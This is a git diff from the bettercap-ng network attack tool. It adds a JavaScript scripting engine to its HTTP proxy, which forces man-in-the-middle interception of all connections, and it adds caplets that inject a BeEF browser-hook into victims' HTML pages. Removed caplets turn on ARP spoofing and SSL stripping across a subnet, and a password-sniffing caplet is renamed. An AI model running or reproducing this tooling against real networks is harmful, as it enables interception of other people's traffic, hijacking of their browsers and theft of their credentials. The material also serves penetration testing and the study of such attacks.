diff --git a/Makefile b/Makefile index e77abc45..61854303 100644 --- a/Makefile +++ b/Makefile @@ -33,6 +33,7 @@ deps: @go get github.com/rogpeppe/go-charset/charset @go get github.com/chzyer/readline @go get github.com/op/go-logging + @go get github.com/robertkrimen/otto clean: diff --git a/caplets/beef-inject.js b/caplets/beef-inject.js new file mode 100644 index 00000000..43f393fd --- /dev/null +++ b/caplets/beef-inject.js @@ -0,0 +1,9 @@ +function onLoad() { + console.log( "BeefInject loaded." ); +} + +function onResponse(req, res) { + if( res.ContentType.indexOf("text/html") == 0 ){ + res.Body = res.ReadBody().replace( "", '' ); + } +} diff --git a/caplets/beef-passive.cap b/caplets/beef-passive.cap new file mode 100644 index 00000000..ff961942 --- /dev/null +++ b/caplets/beef-passive.cap @@ -0,0 +1,15 @@ +# inject beef hook +set http.proxy.script caplets/beef-inject.js +# keep reading arp table for network mapping +net.recon on +# redirect http traffic to a proxy +http.proxy on +# wait for everything to start properly +sleep 1 +active + + + + + + diff --git a/caplets/beef_active.cap b/caplets/beef_active.cap deleted file mode 100644 index b0510dc5..00000000 --- a/caplets/beef_active.cap +++ /dev/null @@ -1,21 +0,0 @@ -# spoof everyone as they're discovered -# set arp.spoof.targets 192.168.1.0/24 -# strip down https links when possible -set http.proxy.sslstrip true -# inject beef hook -set http.proxy.post.filter ||| - -# keep searching for new targets -# net.probe on - -# keep reading arp table for network mapping -net.recon on -# redirect http traffic to a proxy -http.proxy on -sleep 5 -# start arp spoofing attack -arp.spoof on - - - - diff --git a/caplets/beef_passive.cap b/caplets/beef_passive.cap deleted file mode 100644 index 5c60ad5a..00000000 --- a/caplets/beef_passive.cap +++ /dev/null @@ -1,19 +0,0 @@ -# strip down https links when possible -set http.proxy.sslstrip true -# inject beef hook -set http.proxy.post.filter ||| -# -# keep reading arp table for network mapping -net.recon on -# redirect http traffic to a proxy -http.proxy on - -# wait for everything to start properly -sleep 1 -active - - - - - - diff --git a/caplets/proxy-script-test.cap b/caplets/proxy-script-test.cap new file mode 100644 index 00000000..e3fcccf3 --- /dev/null +++ b/caplets/proxy-script-test.cap @@ -0,0 +1,2 @@ +set http.proxy.script caplets/proxy-script-test.js +http.proxy on diff --git a/caplets/proxy-script-test.js b/caplets/proxy-script-test.js new file mode 100644 index 00000000..f8173d04 --- /dev/null +++ b/caplets/proxy-script-test.js @@ -0,0 +1,42 @@ +// called when script is loaded +function onLoad() { + console.log( "PROXY SCRIPT LOADED" ); +} + +// called before a request is proxied +function onRequest(req, res) { + if( req.Path == "/test-page" ){ + res.Status = 200; + res.ContentType = "text/html"; + res.Headers = "Server: bettercap-ng\r\n" + + "Connection: close"; + res.Body = "" + + "" + + "Test Page" + + "" + + "" + + "
Hello world from bettercap-ng!
" + + "" + + ""; + + res.Updated(); + } +} + +// called after a request is proxied and there's a response +function onResponse(req, res) { + if( res.Status == 404 ){ + res.ContentType = "text/html"; + res.Headers = "Server: bettercap-ng\r\n" + + "Connection: close"; + res.Body = "" + + "" + + "Test 404 Page" + + "" + + "" + + "
Custom 404 from bettercap-ng.
" + + "" + + ""; + res.Updated(); + } +} diff --git a/caplets/active_recon.cap b/caplets/recon-active.cap similarity index 100% rename from caplets/active_recon.cap rename to caplets/recon-active.cap diff --git a/caplets/passive_recon.cap b/caplets/recon-passive.cap similarity index 100% rename from caplets/passive_recon.cap rename to caplets/recon-passive.cap diff --git a/caplets/spoof_n_sniff_passwords.cap b/caplets/simple-passwords-sniffer.cap similarity index 100% rename from caplets/spoof_n_sniff_passwords.cap rename to caplets/simple-passwords-sniffer.cap diff --git a/session/modules/http_proxy.go b/session/modules/http_proxy.go index a1f58eae..9c4eccf0 100644 --- a/session/modules/http_proxy.go +++ b/session/modules/http_proxy.go @@ -2,13 +2,12 @@ package session_modules import ( "fmt" - "github.com/op/go-logging" "net/http" - "regexp" "strings" + "github.com/op/go-logging" + "github.com/elazarl/goproxy" - "github.com/elazarl/goproxy/ext/html" "github.com/evilsocket/bettercap-ng/firewall" "github.com/evilsocket/bettercap-ng/session" @@ -16,62 +15,6 @@ import ( var log = logging.MustGetLogger("mitm") -type ProxyFilter struct { - Type string - Expression string - Replace string - Compiled *regexp.Regexp -} - -func tokenize(s string, sep byte, n int) (error, []string) { - filtered := make([]string, 0) - tokens := strings.Split(s, string(sep)) - - for _, t := range tokens { - if t != "" { - filtered = append(filtered, t) - } - } - - if len(filtered) != n { - return fmt.Errorf("Could not split '%s' by '%s'.", s, string(sep)), filtered - } else { - return nil, filtered - } -} - -func NewProxyFilter(type_, expression string) (error, *ProxyFilter) { - err, tokens := tokenize(expression, expression[0], 2) - if err != nil { - return err, nil - } - - filter := &ProxyFilter{ - Type: type_, - Expression: tokens[0], - Replace: tokens[1], - Compiled: nil, - } - - if filter.Compiled, err = regexp.Compile(filter.Expression); err != nil { - return err, nil - } - - return nil, filter -} - -func (f *ProxyFilter) Process(req *http.Request, responseBody string) string { - orig := responseBody - filtered := f.Compiled.ReplaceAllString(orig, f.Replace) - - // TODO: this sucks - if orig != filtered { - log.Infof("%s > Applied %s-filtering to %d of response body.", req.RemoteAddr, f.Type, len(filtered)) - } - - return filtered -} - type HttpProxy struct { session.SessionModule @@ -79,26 +22,22 @@ type HttpProxy struct { redirection *firewall.Redirection server http.Server proxy *goproxy.ProxyHttpServer - - preFilter *ProxyFilter - postFilter *ProxyFilter + script *ProxyScript } func NewHttpProxy(s *session.Session) *HttpProxy { p := &HttpProxy{ SessionModule: session.NewSessionModule(s), - proxy: goproxy.NewProxyHttpServer(), + proxy: nil, address: "", redirection: nil, - preFilter: nil, - postFilter: nil, + script: nil, } p.AddParam(session.NewIntParameter("http.port", "80", "", "HTTP port to redirect when the proxy is activated.")) p.AddParam(session.NewIntParameter("http.proxy.port", "8080", "", "Port to bind the HTTP proxy to.")) p.AddParam(session.NewStringParameter("http.proxy.address", "", `^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`, "Address to bind the HTTP proxy to.")) - p.AddParam(session.NewStringParameter("http.proxy.post.filter", "", "", "SED like syntax to replace things in the response ( example ||| ).")) - + p.AddParam(session.NewStringParameter("http.proxy.script", "", "", "Path of a proxy JS script.")) p.AddHandler(session.NewModuleHandler("http.proxy on", "", "Start HTTP proxy.", func(args []string) error { @@ -111,25 +50,41 @@ func NewHttpProxy(s *session.Session) *HttpProxy { return p.Stop() })) - p.proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { + proxy := goproxy.NewProxyHttpServer() + + proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) { if p.doProxy(req) == true { req.URL.Scheme = "http" req.URL.Host = req.Host - - // TODO: p.preFilter.Process? - p.proxy.ServeHTTP(w, req) - } else { - log.Infof("Skipping %s\n", req.Host) } }) - p.proxy.OnResponse(goproxy_html.IsHtml).Do(goproxy_html.HandleString(func(body string, ctx *goproxy.ProxyCtx) string { - if p.postFilter != nil { - body = p.postFilter.Process(ctx.Req, body) + proxy.OnRequest().HandleConnect(goproxy.AlwaysMitm) + proxy.OnRequest().DoFunc(func(req *http.Request, ctx *goproxy.ProxyCtx) (*http.Request, *http.Response) { + if p.script != nil { + jsres := p.script.OnRequest(req) + if jsres != nil { + log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), req.RemoteAddr) + resp := jsres.ToResponse(req) + return req, resp + } } - return body - })) + return req, nil + }) + + proxy.OnResponse().DoFunc(func(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response { + if p.script != nil { + jsres := p.script.OnResponse(res) + if jsres != nil { + log.Infof("Sending %d bytes of spoofed response to %s.", len(jsres.Body), res.Request.RemoteAddr) + res = jsres.ToResponse(res.Request) + } + } + return res + }) + + p.proxy = proxy return p } @@ -183,16 +138,15 @@ func (p *HttpProxy) Start() error { http_port = v.(int) } - p.postFilter = nil - if err, v := p.Param("http.proxy.post.filter").Get(p.Session); err != nil { + if err, v := p.Param("http.proxy.script").Get(p.Session); err != nil { return err } else { - expression := v.(string) - if expression != "" { - if err, p.postFilter = NewProxyFilter("post", expression); err != nil { + scriptPath := v.(string) + if scriptPath != "" { + if err, p.script = LoadProxyScript(scriptPath); err != nil { return err } else { - log.Debug("Proxy POST filter set to '%s'.", expression) + log.Debugf("Proxy script %s loaded.", scriptPath) } } } diff --git a/session/modules/proxy_script.go b/session/modules/proxy_script.go new file mode 100644 index 00000000..e8e95704 --- /dev/null +++ b/session/modules/proxy_script.go @@ -0,0 +1,238 @@ +package session_modules + +import ( + "fmt" + "io/ioutil" + "net/http" + "strings" + "sync" + + "github.com/elazarl/goproxy" + + "github.com/robertkrimen/otto" +) + +type ProxyScript struct { + Path string + Source string + VM *otto.Otto + gil *sync.Mutex +} + +type JSHeader struct { + Name string + Value string +} + +type JSRequest struct { + Method string + Version string + Path string + Hostname string + Headers []JSHeader + Body string +} + +type JSResponse struct { + Status int + ContentType string + Headers string + Body string + + wasUpdated bool + resp *http.Response +} + +func (j *JSResponse) Updated() { + j.wasUpdated = true +} + +func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) { + resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body) + if j.Headers != "" { + for _, header := range strings.Split(j.Headers, "\n") { + header = strings.Trim(header, "\n\r\t ") + if header == "" { + continue + } + parts := strings.SplitN(header, ":", 2) + if len(parts) == 2 { + resp.Header.Add(parts[0], parts[1]) + } else { + log.Warningf("Unexpected header '%s'", header) + } + } + } + return +} + +func (j *JSResponse) ReadBody() string { + defer j.resp.Body.Close() + + raw, err := ioutil.ReadAll(j.resp.Body) + if err != nil { + log.Errorf("Could not read response body: %s", err) + return "" + } + + j.Body = string(raw) + j.Updated() + + return j.Body +} + +func (jsr JSRequest) ReadBody() string { + return "TODO: read body" +} + +func LoadProxyScript(path string) (err error, s *ProxyScript) { + log.Infof("Loading proxy script %s ...", path) + + raw, err := ioutil.ReadFile(path) + if err != nil { + return + } + + s = &ProxyScript{ + Path: path, + Source: string(raw), + VM: otto.New(), + gil: &sync.Mutex{}, + } + + _, err = s.VM.Run(s.Source) + if err == nil { + cb, err := s.VM.Get("onLoad") + if err == nil && cb.IsFunction() { + _, err = s.VM.Run("onLoad()") + if err != nil { + log.Errorf("Error while executing onLoad callback: %s", err) + return err, nil + } + } + } + + return +} + +func (s ProxyScript) reqToJS(req *http.Request) JSRequest { + headers := make([]JSHeader, 0) + for key, values := range req.Header { + for _, value := range values { + headers = append(headers, JSHeader{key, value}) + } + } + + return JSRequest{ + Method: req.Method, + Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor), + Path: req.URL.Path, + Hostname: req.Host, + Headers: headers, + } +} + +func (s ProxyScript) resToJS(res *http.Response) *JSResponse { + cType := "" + headers := "" + + for name, values := range res.Header { + for _, value := range values { + if name == "Content-Type" { + cType = value + } + headers += name + ": " + value + "\r\n" + } + } + + return &JSResponse{ + Status: res.StatusCode, + ContentType: cType, + Headers: headers, + resp: res, + } +} + +func (s *ProxyScript) doDefines(req *http.Request) (err error, jsres *JSResponse) { + jsreq := s.reqToJS(req) + if err = s.VM.Set("req", jsreq); err != nil { + log.Errorf("Error while defining request: %s", err) + return + } + + jsres = &JSResponse{} + if err = s.VM.Set("res", jsres); err != nil { + log.Errorf("Error while defining response: %s", err) + return + } + + return +} + +func (s *ProxyScript) doDefinesFor(res *http.Response) (err error, jsres *JSResponse) { + jsreq := s.reqToJS(res.Request) + if err = s.VM.Set("req", jsreq); err != nil { + log.Errorf("Error while defining request: %s", err) + return + } + + jsres = s.resToJS(res) + if err = s.VM.Set("res", jsres); err != nil { + log.Errorf("Error while defining response: %s", err) + return + } + + return +} + +func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse { + cb, err := s.VM.Get("onRequest") + if err == nil && cb.IsFunction() { + s.gil.Lock() + defer s.gil.Unlock() + + err, jsres := s.doDefines(req) + if err != nil { + log.Errorf("Error while running bootstrap definitions: %s", err) + return nil + } + + _, err = s.VM.Run("onRequest(req, res)") + if err != nil { + log.Errorf("Error while executing onRequest callback: %s", err) + return nil + } + + if jsres.wasUpdated == true { + return jsres + } + } + + return nil +} + +func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse { + cb, err := s.VM.Get("onResponse") + if err == nil && cb.IsFunction() { + s.gil.Lock() + defer s.gil.Unlock() + + err, jsres := s.doDefinesFor(res) + if err != nil { + log.Errorf("Error while running bootstrap definitions: %s", err) + return nil + } + + _, err = s.VM.Run("onResponse(req, res)") + if err != nil { + log.Errorf("Error while executing onRequest callback: %s", err) + return nil + } + + if jsres.wasUpdated == true { + return jsres + } + } + + return nil +}